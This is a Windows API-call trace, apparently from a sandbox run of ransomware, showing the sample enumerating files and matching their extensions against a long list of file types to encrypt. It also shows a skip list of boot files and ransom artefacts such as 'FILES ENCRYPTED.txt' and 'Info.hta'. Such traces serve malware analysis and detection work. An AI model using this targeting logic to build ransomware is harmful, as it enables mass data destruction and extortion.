	[0164.428] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".eps") returned 4
	[0164.428] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".epsf") returned 5
	[0164.428] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.428] lstrlenW (lpString=".epsp") returned 5
	[0164.428] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.428] lstrlenW (lpString=".erf") returned 4
	[0164.428] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".exr") returned 4
	[0164.428] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".f4v") returned 4
	[0164.428] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".fido") returned 5
	[0164.428] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.428] lstrlenW (lpString=".flm") returned 4
	[0164.428] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".flv") returned 4
	[0164.428] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".frm") returned 4
	[0164.429] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".fxg") returned 4
	[0164.429] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".geo") returned 4
	[0164.429] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".gif") returned 4
	[0164.429] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".grs") returned 4
	[0164.429] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".gz") returned 3
	[0164.429] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.429] lstrlenW (lpString=".h") returned 2
	[0164.429] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.429] lstrlenW (lpString=".hdr") returned 4
	[0164.429] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".hpp") returned 4
	[0164.429] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".hta") returned 4
	[0164.429] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".htc") returned 4
	[0164.429] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0164.429] lstrlenW (lpString=".htm") returned 4
	[0164.429] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.429] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.429] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.430] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.430] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.430] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.430] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1
	[0164.430] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
	[0164.431] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK") returned 100
	[0164.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0164.558] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.558] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0164.558] lstrlenW (lpString="index.html") returned 10
	[0164.558] lstrlenW (lpString=".1cd") returned 4
	[0164.558] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.558] lstrlenW (lpString=".3ds") returned 4
	[0164.558] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.558] lstrlenW (lpString=".3fr") returned 4
	[0164.558] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.559] lstrlenW (lpString=".3g2") returned 4
	[0164.559] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.559] lstrlenW (lpString=".3gp") returned 4
	[0164.559] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.559] lstrlenW (lpString=".7z") returned 3
	[0164.559] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0164.559] lstrlenW (lpString=".accda") returned 6
	[0164.559] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.559] lstrlenW (lpString=".accdb") returned 6
	[0164.559] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.559] lstrlenW (lpString=".accdc") returned 6
	[0164.559] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.559] lstrlenW (lpString=".accde") returned 6
	[0164.559] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.559] lstrlenW (lpString=".accdt") returned 6
	[0164.559] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.559] lstrlenW (lpString=".accdw") returned 6
	[0164.559] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.559] lstrlenW (lpString=".adb") returned 4
	[0164.559] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.559] lstrlenW (lpString=".adp") returned 4
	[0164.559] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.559] lstrlenW (lpString=".ai") returned 3
	[0164.559] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.559] lstrlenW (lpString=".ai3") returned 4
	[0164.559] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.559] lstrlenW (lpString=".ai4") returned 4
	[0164.559] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.559] lstrlenW (lpString=".ai5") returned 4
	[0164.559] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".ai6") returned 4
	[0164.560] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".ai7") returned 4
	[0164.560] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".ai8") returned 4
	[0164.560] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".anim") returned 5
	[0164.560] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.560] lstrlenW (lpString=".arw") returned 4
	[0164.560] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".as") returned 3
	[0164.560] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.560] lstrlenW (lpString=".asa") returned 4
	[0164.560] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".asc") returned 4
	[0164.560] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".ascx") returned 5
	[0164.560] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.560] lstrlenW (lpString=".asm") returned 4
	[0164.560] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".asmx") returned 5
	[0164.560] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.560] lstrlenW (lpString=".asp") returned 4
	[0164.560] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".aspx") returned 5
	[0164.560] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.560] lstrlenW (lpString=".asr") returned 4
	[0164.560] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".asx") returned 4
	[0164.560] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".avi") returned 4
	[0164.560] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".avs") returned 4
	[0164.560] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.560] lstrlenW (lpString=".backup") returned 7
	[0164.560] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.560] lstrlenW (lpString=".bak") returned 4
	[0164.561] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".bay") returned 4
	[0164.561] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".bd") returned 3
	[0164.561] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.561] lstrlenW (lpString=".bin") returned 4
	[0164.561] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".bmp") returned 4
	[0164.561] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".bz2") returned 4
	[0164.561] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".c") returned 2
	[0164.561] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.561] lstrlenW (lpString=".cdr") returned 4
	[0164.561] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".cer") returned 4
	[0164.561] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".cf") returned 3
	[0164.561] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.561] lstrlenW (lpString=".cfc") returned 4
	[0164.561] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".cfm") returned 4
	[0164.561] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".cfml") returned 5
	[0164.561] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.561] lstrlenW (lpString=".cfu") returned 4
	[0164.561] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".chm") returned 4
	[0164.561] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.561] lstrlenW (lpString=".cin") returned 4
	[0164.562] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.562] lstrlenW (lpString=".class") returned 6
	[0164.562] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.562] lstrlenW (lpString=".clx") returned 4
	[0164.562] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.562] lstrlenW (lpString=".config") returned 7
	[0164.562] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.562] lstrlenW (lpString=".cpp") returned 4
	[0164.563] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".cr2") returned 4
	[0164.563] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".crt") returned 4
	[0164.563] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".crw") returned 4
	[0164.563] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".cs") returned 3
	[0164.563] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.563] lstrlenW (lpString=".css") returned 4
	[0164.563] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".csv") returned 4
	[0164.563] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".cub") returned 4
	[0164.563] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dae") returned 4
	[0164.563] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dat") returned 4
	[0164.563] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".db") returned 3
	[0164.563] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.563] lstrlenW (lpString=".dbf") returned 4
	[0164.563] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dbx") returned 4
	[0164.563] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dc3") returned 4
	[0164.563] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dcm") returned 4
	[0164.563] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dcr") returned 4
	[0164.563] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".der") returned 4
	[0164.563] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dib") returned 4
	[0164.563] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.563] lstrlenW (lpString=".dic") returned 4
	[0164.563] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dif") returned 4
	[0164.564] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".divx") returned 5
	[0164.564] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.564] lstrlenW (lpString=".djvu") returned 5
	[0164.564] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.564] lstrlenW (lpString=".dng") returned 4
	[0164.564] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".doc") returned 4
	[0164.564] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".docm") returned 5
	[0164.564] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.564] lstrlenW (lpString=".docx") returned 5
	[0164.564] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.564] lstrlenW (lpString=".dot") returned 4
	[0164.564] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dotm") returned 5
	[0164.564] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.564] lstrlenW (lpString=".dotx") returned 5
	[0164.564] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.564] lstrlenW (lpString=".dpx") returned 4
	[0164.564] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dqy") returned 4
	[0164.564] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dsn") returned 4
	[0164.564] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dt") returned 3
	[0164.564] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.564] lstrlenW (lpString=".dtd") returned 4
	[0164.564] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dwg") returned 4
	[0164.564] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dwt") returned 4
	[0164.564] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.564] lstrlenW (lpString=".dx") returned 3
	[0164.564] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.564] lstrlenW (lpString=".dxf") returned 4
	[0164.565] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".edml") returned 5
	[0164.565] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.565] lstrlenW (lpString=".efd") returned 4
	[0164.565] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".elf") returned 4
	[0164.565] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".emf") returned 4
	[0164.565] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".emz") returned 4
	[0164.565] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".epf") returned 4
	[0164.565] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".eps") returned 4
	[0164.565] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".epsf") returned 5
	[0164.565] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.565] lstrlenW (lpString=".epsp") returned 5
	[0164.565] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.565] lstrlenW (lpString=".erf") returned 4
	[0164.565] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".exr") returned 4
	[0164.565] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".f4v") returned 4
	[0164.565] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".fido") returned 5
	[0164.565] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.565] lstrlenW (lpString=".flm") returned 4
	[0164.565] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".flv") returned 4
	[0164.565] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.565] lstrlenW (lpString=".frm") returned 4
	[0164.566] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".fxg") returned 4
	[0164.566] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".geo") returned 4
	[0164.566] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".gif") returned 4
	[0164.566] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".grs") returned 4
	[0164.566] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".gz") returned 3
	[0164.566] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.566] lstrlenW (lpString=".h") returned 2
	[0164.566] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.566] lstrlenW (lpString=".hdr") returned 4
	[0164.566] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".hpp") returned 4
	[0164.566] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".hta") returned 4
	[0164.566] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".htc") returned 4
	[0164.566] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".htm") returned 4
	[0164.566] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString=".html") returned 5
	[0164.566] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.566] lstrlenW (lpString="index.html") returned 10
	[0164.566] lstrlenW (lpString=".GTF") returned 4
	[0164.566] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.566] lstrlenW (lpString="index.html") returned 10
	[0164.566] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.566] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.566] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.566] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.566] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.566] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.567] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.567] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.567] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html") returned 111
	[0164.567] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.567] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.567] lstrlenW (lpString=".1cd") returned 4
	[0164.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.567] lstrlenW (lpString=".3ds") returned 4
	[0164.567] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.567] lstrlenW (lpString=".3fr") returned 4
	[0164.567] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.567] lstrlenW (lpString=".3g2") returned 4
	[0164.567] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.567] lstrlenW (lpString=".3gp") returned 4
	[0164.567] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.567] lstrlenW (lpString=".7z") returned 3
	[0164.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.567] lstrlenW (lpString=".accda") returned 6
	[0164.567] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.567] lstrlenW (lpString=".accdb") returned 6
	[0164.567] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.567] lstrlenW (lpString=".accdc") returned 6
	[0164.567] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.567] lstrlenW (lpString=".accde") returned 6
	[0164.567] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.567] lstrlenW (lpString=".accdt") returned 6
	[0164.567] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.567] lstrlenW (lpString=".accdw") returned 6
	[0164.567] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.567] lstrlenW (lpString=".adb") returned 4
	[0164.567] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.567] lstrlenW (lpString=".adp") returned 4
	[0164.567] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.567] lstrlenW (lpString=".ai") returned 3
	[0164.568] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.568] lstrlenW (lpString=".ai3") returned 4
	[0164.568] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".ai4") returned 4
	[0164.568] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".ai5") returned 4
	[0164.568] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".ai6") returned 4
	[0164.568] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".ai7") returned 4
	[0164.568] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".ai8") returned 4
	[0164.568] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".anim") returned 5
	[0164.568] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.568] lstrlenW (lpString=".arw") returned 4
	[0164.568] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".as") returned 3
	[0164.568] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.568] lstrlenW (lpString=".asa") returned 4
	[0164.568] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".asc") returned 4
	[0164.568] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".ascx") returned 5
	[0164.568] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.568] lstrlenW (lpString=".asm") returned 4
	[0164.568] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".asmx") returned 5
	[0164.568] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.568] lstrlenW (lpString=".asp") returned 4
	[0164.568] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".aspx") returned 5
	[0164.568] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.568] lstrlenW (lpString=".asr") returned 4
